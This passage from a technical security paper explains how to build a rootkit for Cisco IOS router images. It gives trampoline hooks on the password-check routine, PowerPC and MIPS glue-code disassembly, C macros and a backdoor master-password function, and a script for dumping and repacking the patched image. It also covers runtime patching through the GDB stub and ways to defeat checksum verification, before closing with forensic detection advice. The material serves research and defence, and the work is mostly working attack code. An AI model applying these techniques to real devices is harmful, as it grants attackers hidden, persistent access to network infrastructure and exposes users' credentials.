The beginning of the function, which was previously detected using 
strings references (from neighbors or itself) is located using IDA, 
had its prologue overwritten with the trampoline code.
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This is a common technique known as hooking and consists of 
intercepting a function call by redirecting the code execution to the 
rootkit code for further processing and then returning to the 
original point.

Below is a high-level graphic explaining the execution path until it 
reaches the rootkit code and how the information is processed:

   IOS caller              chk_pass (p)              Glue code               chk_pass_DIK(p,i)
+-----------------+    +-----------------+     +----------------------+     +-----------------+
|                 |    |                 |     |                      |     |                 |
| r = chk_pass(p) |-1->| trampoline      |--2->| add stack            | 3-->| if p == 'l337': |
|                 |    |                 |     | store parent RA      | |   |  i = true       |
| if r == true:   |<-  | rest of code    |<-+  | store params p       | | +-|  return RET     |
|  login()        | |  | ...             |  |  | create param i       | | | | else:           |
| else:           | +--| return legal_res|  5  | o = chk_pass_DIK(p,i)|-+ |-|  return CONT    |
|  deny_login()   | |  |                 |  |  | fix stack            |<--4 |                 |
| ...             | |  |                 |  |  | if o == CONT:        |     |                 |
+-----------------+ |  +-----------------+  |  |  exec orig instruct  |     +-----------------+
                    |                       +--|  return params p     |
                    |                          |  cont chk_pass_IOS   |
                    |                          | else:                |
                    +-------<----6---<---------|  r = i               |
                                               |  jump to RA          |
                                               |                      |
                                               +----------------------+

In the following example, the IOS function responsible for password 
checking is hooked and based on the result (whether the password is a 
backdoor password or not), the execution flow is redirected again to 
either invoke the original function code or to return directly to the 
caller (bypassing authentication) as explained below:

1. A function inside the IOS calls the password validation function 
call chk_pass(). At the beginning of this function, using the 
hooking technique to apply the trampoline's code, the rootkit 
seizes control of the execution flow.
In the case of the PowerPC we simply write a branch instruction 
(b) like the following:

.text:803B79B4 48 DC C3 9C   b       loc_81183D50

The next example covers the case of the MIPS architecture where 
a jump instruction (j) will be written at the function prologue, 
followed by a NOP instruction to avoid problems with delay-slots 
on this architecture:
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LOAD:60460A04 08 5A 54 BB    j       loc_616952EC
LOAD:60460A08 00 00 00 00    nop

This is the motive why in IOS, with images for MIPS 
architecture, two instructions on the prologue are overwritten.

2. The glue code is invoked so that the steps previously explained 
take place. Now a detailed explanation of the shellcode used 
will be shown for calling a function that expects four 
parameters, three of which are the original function's 
parameters, and the fourth parameter is the return value (this 
value is ignored by the shellcode if the function doesn't return 
any value, like in the case of void functions).

Following is a complete disassembly of the glue code for the 
PowerPC architecture:

.data:81183D50    loc_81183D50:

.data:81183D50 mflr    %r0             ; Save return address

.data:81183D54 stw     %r0, -4(%sp)    ; Copy ret addr into stack

.data:81183D58 stw     %r3, -0xC(%sp)  ; Store param 1

.data:81183D5C stw     %r4, -0x10(%sp) ; Store param 2

.data:81183D60 stw     %r5, -0x14(%sp) ; Store param 3

.data:81183D64 addi    %r6, %sp, -8    ; Get address of param 4

.data:81183D68 stwu    %sp, -0x1C(%sp) ; Save stack space for params

.data:81183D6C bl      sub_81183BB4    ; Invoke DIK plain C code

.data:81183D70 addi    %sp, %sp, 0x1C  ; Restore allocated stack

.data:81183D74 cmpwi   %r3, 0          ; Check if RETURN to caller

.data:81183D78 lwz     %r3, -4(%sp)    ; Obtain ret address stored

.data:81183D7C mtlr    %r3             ; Copy ret addr to register

.data:81183D80 beq     loc_81183D98_RET; Exec RETURN or CONT code?

.data:81183D84 lwz     %r3, -0xC(%sp)  ; Restore original param 1

.data:81183D88 lwz     %r4, -0x10(%sp) ; Restore original param 2

.data:81183D8C lwz     %r5, -0x14(%sp) ; Restore original param 3

.data:81183D90 stwu    %sp, -0x18(%sp) ; Execute overwritten inst

.data:81183D94 b       loc_803B79B8    ; Continue after trampoline
 -------------------------------------------------------------------
.data:81183D98
.data:81183D98    loc_81183D98_RET:    # CODE XREF: .data:81183D80#j
.data:81183D98 lwz     %r3, -8(%sp)    ; Set function return value
.data:81183D9C blr                     ; Return to IOS caller

The comments next to every instruction in the above disassembly 
represent the step previously described when the glue code was 
first introduced.
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It's important to remind readers at this point that the part of 
this shellcode that stores/restores the original function 
parameters was dynamically calculated by the IDA-Python script.

It's also worth mentioning that the compiled rootkit code, which 
was placed in memory that originally belonged to a debug string, 
was successfully executed allowing the attacker to achieve one 
of the most important parts of this rootkit -- which is to 
maintain a unique code base written in plain C that works for 
both platforms without having to take care of architecture-
specific details. 

The MIPS code performs the same task as the PowerPC code but 
with the corresponding MIPS instructions:

DATA:616952EC loc_616952EC:
DATA:616952EC sw      $ra, -4($sp)     ; Copy ret addr into stack
DATA:616952F0 sw      $a0, -0xC($sp)   ; Store param 1
DATA:616952F4 sw      $a1, -0x10($sp)  ; Store param 2
DATA:616952F8 sw      $a2, -0x14($sp)  ; Store param 3
DATA:616952FC addi    $a3, $sp, 0xFFF8 ; Get address of param 4
DATA:61695300 addiu   $sp, -0x1C       ; Save stack space for params
DATA:61695304 jal     sub_61695164     ; Invoke DIK plain C code
DATA:61695308 nop                      ; nop for delay-slot
DATA:6169530C addiu   $sp, 0x1C        ; Restore allocated stack
DATA:61695310 lw      $ra, -4($sp)     ; Obtain ret address stored
DATA:61695314 beqz    $v0, loc_61695338; Exec RETURN or CONT code?
DATA:61695318 nop                      ; nop for delay-slot
DATA:6169531C lw      $a0, -0xC($sp)   ; Restore original param 1
DATA:61695320 lw      $a1, -0x10($sp)  ; Restore original param 2
DATA:61695324 lw      $a2, -0x14($sp)  ; Restore original param 3
DATA:61695328 addiu   $sp, -0x28       ; Execute 1st overwritten inst
DATA:6169532C sw      $s0, 0x18($sp)   ; Execute 2nd overwritten inst
DATA:61695330 j       loc_60460A0C     ; Continue after trampoline
DATA:61695334 nop                      ; nop for delay-slot
-------------------------------------------------------------------
DATA:61695338
DATA:61695338 loc_61695338:            # CODE XREF: DATA:61695314#j
DATA:61695338 lw      $v0, -8($sp)     ; Set function return value
DATA:6169533C jr      $ra              ; Return to IOS caller
DATA:61695340 nop                      ; nop for delay-slot

It's also important to note that the address where the glue code 
starts is at the end of the rootkit code, so all the code is put 
together in the same memory area (and hopefully the same memory 
page).
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In the scenario described above it is possible to describe the tasks 
performed by the glue code by saying that it stores the return 
address of the original function call, calls the rootkit function 
with the same arguments of the IOS legitimate function, and processes 
the result of the function call. 

This result is needed to determine if execution flow will return to 
the instruction following the trampoline and continue the original 
path by executing the instructions that were overwritten with the 
trampoline (in case that the password entered is not the rootkit 
password), or return directly to the trampoline's caller because no 
more password validation is needed (in case the password entered is 
the rootkit’s master password), which means that the attacker is 
logging in.

The glue code is crucial for rootkit operations because some of those 
painful steps might not be necessary if the rootkit code was 
implemented in pure assembly. In the case of DIK it was implemented 
in plain C to allow easy maintenance.

Now it's clear why those few lines of special assembly instructions 
called trampoline and glue code were needed to fill the gap between a 
C function compiled (with Position Independent Code) for the target 
architecture and extracted to be inserted 'as is' directly inside the 
IOS image.

The advantage of this method is that only one C code is maintained 
(with certain limitations, of course) instead of two assembly codes 
that perform the same actions on different architectures (a MIPS code 
and a PowerPC code).

Learning the a, b, (plain) C
The rootkit code will change according to the needs of the attacker, 
which may include hiding files, hiding connections, maintaining 
backdoors, cleaning logs, etc. -- all of them providing a complete 
stealth operation during an attacker's visit.

Those features will take form of C functions and once those 
functions’ code is compiled, their bytes will be needed so they can 
be inserted into the IOS image. But a problem arises because the 
compiled code is an ELF file for the target architecture and this is 
where the flags (BOF_and EOF_) -- mentioned in the 'rootkit address 
book' section (the dump sample included those flags) -- will be used 
to separate the bytes of interest for the attacker from the rest of 
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the ELF file.

Those flags are just inline assembly markers like the following:

#define BOF_DIK_CODE   asm(".ascii \"BOF_\"")
#define EOF_DIK_CODE   asm(".ascii \"EOF_\"")

Those two markers were placed at the beginning and at the end of a 
source code file (always outside of existing functions) so the 
compiler simply includes them and then a Python script can take 
advantage of this to delimit the necessary code for the rootkit.

The rootkit also required that the strings were in the same section 
of the code instead of different sections like they usually are 
(.TEXT) so a way to include them next to the functions and a way to 
obtain their addresses (and that those addresses support PIC – 
Position Independent Code) was absolutely necessary. Otherwise the 
rootkit wouldn't have strings support and that's not acceptable.

To address this issue, inline assembly was employed to put the raw 
strings beside a function and then obtain the pointer to those 
strings through this function using a shellcode that resolves the 
current function address (to allow PIC) and then adds an offset which 
is architecture specific.

The idea was to create a function that contained the string and also 
the shellcode to return its memory address (like a char*) so the 
following steps were needed:

void pszPassword(void)                   // String pointer name
{

1. Code that obtains current PC.
2. Store PC into a variable.
3. Add an offset (to point to inline asm instruction) to point to 

function's end.
4. Return the variable pointing to end of function(string begins 

there).
}
asm(".ascii \"my backdoor password\");   // Our string
asm(".byte 0");                          // Null terminator

With this schema, a macro was created to reference the function 
address plus an offset (which is architecture specific) to avoid the 
function's code until the end of the first byte after the epilogue.
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The epilogue length varies between architectures so we determine the 
current working architecture using GCC internal definitions to obtain 
the correct offset value.

The fully functional macros for both PowerPC and MIPS are shown 
below in a macro called STRING_DEFINE.

#ifdef __mips__
    #define _OFFSET 0x30
#elif __PPC__
    #define _OFFSET 0x34
#endif

#elif __mips__
#define STRING_DEFINE(name,content)   char* name(void)            \
                                      {                           \
                                          int ret = 0;            \
                                          int orig_blr;           \
                                          asm("move %0, $ra"      \
                                              :"=r"(orig_blr));   \
                                          asm("nop");             \
                                          asm("bal +4;");         \
                                          asm("move %0, $ra"      \
                                              :"=r"(ret));        \
                                          asm("move $ra, %0"      \
                                              ::"r"(orig_blr));   \
                                         return(char*)ret+_OFFSET;\
                                      }                           \
                                      asm(".ascii \""content"\"");\
                                      asm(".byte 0");
#elif __PPC__
#define STRING_DEFINE(name,content)   char* name(void)            \
                                      {                           \
                                          int ret;                \
                                          int orig_blr;           \
                                          asm("mflr %r8;");       \
                                          asm("mr %0, %%r8"       \
                                              :"=r"(orig_blr));   \
                                          asm("bl +4;");          \
                                          asm("mflr %r8;");       \
                                          asm("mr %0, %%r8"       \
                                              :"=r"(ret));        \
                                          asm("mr %%r8, %0"       \
                                              ::"r"(orig_blr));   \
                                          asm("mtlr %r8;");       \
                                        return (char*)ret+_OFFSET;\
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                                      }                           \
                                      asm(".ascii \""content"\"");\
                                      asm(".byte 0");
#endif

This macro takes two parameters, the first is the pointer name 
(function name) and the second is the content (the string itself). 
So, to use it refer to that string (get a pointer to it) like any 
other string.

A small detail is that "naked" attribute is not available for those 
target architectures and that is why the offset stuff to avoid the 
prologue is needed. Otherwise the function prologue and epilogue 
wouldn't be included by the compiler.

Below is an example of usage of the string macro:

STRING_DEFINE(pszPassword, "dik_rulez")

void myRootkitFunction(int somearg)
{
 char* pszPass = pszPassword();   // Function name as string pointer 
                                  //  or  
 printf("Password = %s", pszPassword()); // common pointer usage
}

With the string issue solved, the rest of the rootkit code is simply 
a plain C program like any other and the only thing to keep in mind 
is that the rootkit's functions must follow a few rules. 

These rules are that rootkit functions must return an integer to 
indicate to the glue code, whether to continue execution of the 
original IOS function, or return to the caller -- and also must 
include one parameter more than the original IOS function which will 
contain the return value of the original IOS function in case 
returning to the caller is needed.

uint chk_pass_DIK(char *input,char *correct,uint val,uint* hook_res)
{
    // my_strcmp is also a rootkit function
    if (my_strcmp(input, pszPassword()) == 0)
    {
        *hook_result = 1; // master password specified
        return OP_RETURN;
    }
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    return OP_CONTINUE;
}

In the above example, the usage of a function to return a string 
pointer is shown, as well as invoking another rootkit function (in 
this case is my_strcmp function).

It is clear at this point that the rootkit functionality is only 
limited by the attacker's creativity because it's like programming 
anything else in C.

Functioning without the others functions
A function that performs password checking is useful to retrieve 
other users’ passwords in plain text and if this information could be 
written somewhere (may be a hidden file on flash file system) or 
transmitted over a TCP connection using IOS socket handling 
capabilities, would be of great interest for an attacker.

There are several functions besides the one mentioned above that a 
rootkit must hook/patch to take complete control of the system.

Those functions include equivalents of file-handling functions like 
read/write, socket handling like send/recv, and IOS functions that 
implement the CLI (Command Line Interface) commands that can alert 
the system administrator of unauthorized access.

Pointers to those functions need to be used from the C rootkit code 
to be able to employ them into the rootkit code.

This could be done by creating stub functions in the C code that 
contain a jump to the function's location inside, but this location 
will only be resolved after analyzing the IOS image with IDA.

To solve this problem, the stubs function could be created in the 
code containing a call to an index inside a jump table which could be 
filled by a Python script with the address of the real function in 
memory.

Modern compilers use this approach to dynamically resolve the 
addresses of library functions referenced by a user program, which at 
compile time are unknown to the compiler/linker and become known when 
the program is executed and the jump table is filled with the 
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resolved (current) memory addresses.

Being able to use IOS internal functions gives the rootkit a more 
advanced level of stealth, and allows for capabilities that go far 
beyond simple function hooking. 

For example, normal security procedures like downloading the IOS 
image in a periodic manner by the system administrator to perform a 
checksum (like MD5, SHA1, etc.) as part of the company security 
process to detect modified images could be easily redirected to an 
external server that contains an unaltered image without any 
suspicion. 

It could even intercept the read function calls asking for a chunk of 
the compressed image on flash (or any other media) and in that moment 
it decompresses the infected chunk, patches it with the original 
bytes (which were previously stored on a file in the flash file 
system -- assuming that those functions addresses are known by 
previous analysis) and re-compress it so it's returned intact (this 
is possible since the compression algorithm can work with chunks of 
bytes instead of the entire file).

At this moment, the difference between a low level rootkit and a 
simple TCL script can be appreciated because such actions like the 
one mentioned above could never be achieved by a higher level 
rootkit.

One important feature of the rootkit is that the hooking method 
doesn't need any additional process running to perform those actions, 
so listing processes is not going to help for detection because all 
that DIK does is intercept function calls and redirect execution flow 
to perform certain tasks and then continue at the address after the
redirection takes place.

Ready, steady, go
With the rootkit code in place, it's time to dump the newly-patched 
IOS image, repack it with the original (self decompressing) file 
header and upload it to the target system.

Reading the patched IDA image and writing its content to a file can 
be done easily, as in the following example:
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# Create a new file to write the changed bytes
fd_tmp     = open('rootkit_content.tmp', 'wb')
code_dump   = ''

# Iterate through every byte changed in the original IOS image
#  
# rootkit_address contains initial rootkit address where previously 
# a debug string was located.
#
# current_endEA contains the last modified image address
#
for ea in range(rootkit_address, current_endEA, 4):
  code_dump   += pack('>L', get_long(ea))

fd_tmp.write(code_dump)
fd_tmp.close()

This generated file will later be merged with the original IOS 
filename to create the decompressed backdoored IOS image.

Now details will be given about how to merge the ready rootkit code 
in the temporal file with the original IOS image -- because this is a 
trivial byte replacement operation and the offsets to apply the patch 
on the original image can be obtained from IDA.

The checksum of the patched IOS image must be calculated again 
because now that its content have changed the old checksum values 
won't match.

A script in Python that implements the checksum algorithm described 
at the beginning can be used to recalculate the checksum and recreate 
the self decompressing IOS image using the original image header 
(from the first byte to the end of the SFX section) and obtain an 
image ready to be uploaded to the device using a normal image upgrade 
procedure.

Other ways of The Force
Image binary patching has been discussed in depth but a run-time 
memory patching technique is also possible using the GDB[12] stub 
included inside every IOS image.

The GDB stub is the debugging interface for Cisco developers which 
allows them to debug IOS processes. It also allows remote image 
diagnostics because it's capable of working over a Telnet session as 
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well as over a Serial session establish on the console port.

This GDB stub is capable of working in three different ways:

● Process examination: Allows memory inspection and processor 
registers inspection but it cannot modify system values (memory 
of registers values).
The system execution continues normally during debugging so 
'examine' mode can be executed over a Telnet session.

● Process debugging: In the situations that a console port of the 
device is not accessible, process debug mode can be executed. It 
works by catching unhandled exceptions on the specified process, 
setting it in a special state where it will not be rescheduled 
and then running the process of the debugger to debug the failed 
process.
The IOS system continues to run during process debugging so it 
is possible to debug a process over a Telnet session but certain 
restrictions apply. The scheduler, an interrupt service routine 
or any process needed for the debugging path (such as TCP/IP) 
cannot be debugged over this session.
This debugging mode is capable of memory and processor registers 
modification so this is the best option for an attacker to 
remotely modify the device memory to insert the backdoor.

● Kernel debugging: If the attacker gains physical access to a 
console port he or she can execute the kernel debugger which is 
the preferred way to debug a router. In this mode, the entire 
device execution is stopped during the exception, freezing all 
system states.

Using the Telnet connection, a remote GDB instance can be executed to 
perform memory patching but certain precautions must be taken, such 
as not writing the trampoline code before the rootkit code, because, 
if a patched function is invoked before the rootkit code is in place 
a memory access violation will be raised leading to a system crash.

An attacker might want to automate this run-time patching procedure 
for every system restart and it can be accomplished in a few 
different ways. One possible way is to create a TCL script to execute 
at startup, engage a Telnet session with the local host and execute 
the process debugger to patch the device it is running on. 

In this case, the script must contain the rootkit code inside with 
the memory locations to be modified -- which could have been 
previously obtained by the same analysis phase involved in the image 
binary patching procedure.
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Conclusions
A reliable and generic method for Cisco IOS image infection can be 
implemented either via binary image modification or via run-time code 
patching.

To face this kind of threat the only possibility available today is 
to use CIR[13], a tool created by Felix 'FX' Lindner from Recurity 
Labs and presented early this year when he talked about developments 
on IOS forensics[14].

The CIR analysis framework aims at identifying compromised routers, 
exploitation attempts and backdoors -- as well as process and memory 
anomalies.

The framework inspects a snapshot of the live IOS memory (core dump 
or GDB debug connection) and reconstructs the central data 
structures, providing an abstraction layer for in-depth analysis 
modules and reporting.

It's important to make a special mention of CIR because it's the ONLY 
serious (and possible) way to perform forensics on a Cisco device and 
it still might be complicated if the rootkit controls the core-dump 
generation routines. In that case, the CIR alternative methods like 
GDB debug connection should be used.

Unless every system administrator plans on using advanced forensics 
methods on every device on their networks like the one (and only) 
mentioned before, they should take serious security measures and try 
to keep the devices updated to minimize risks.

Even this work may not be enough to detect an advanced rootkit 
already deployed in the system, depending on the stealth level of the 
rootkit -- so, external methods of device compromise detection should 
be conceived because relaying in a possible infected image is as bad 
as running antivirus in a computer already infected, and relaying in 
an OS that is already compromised.
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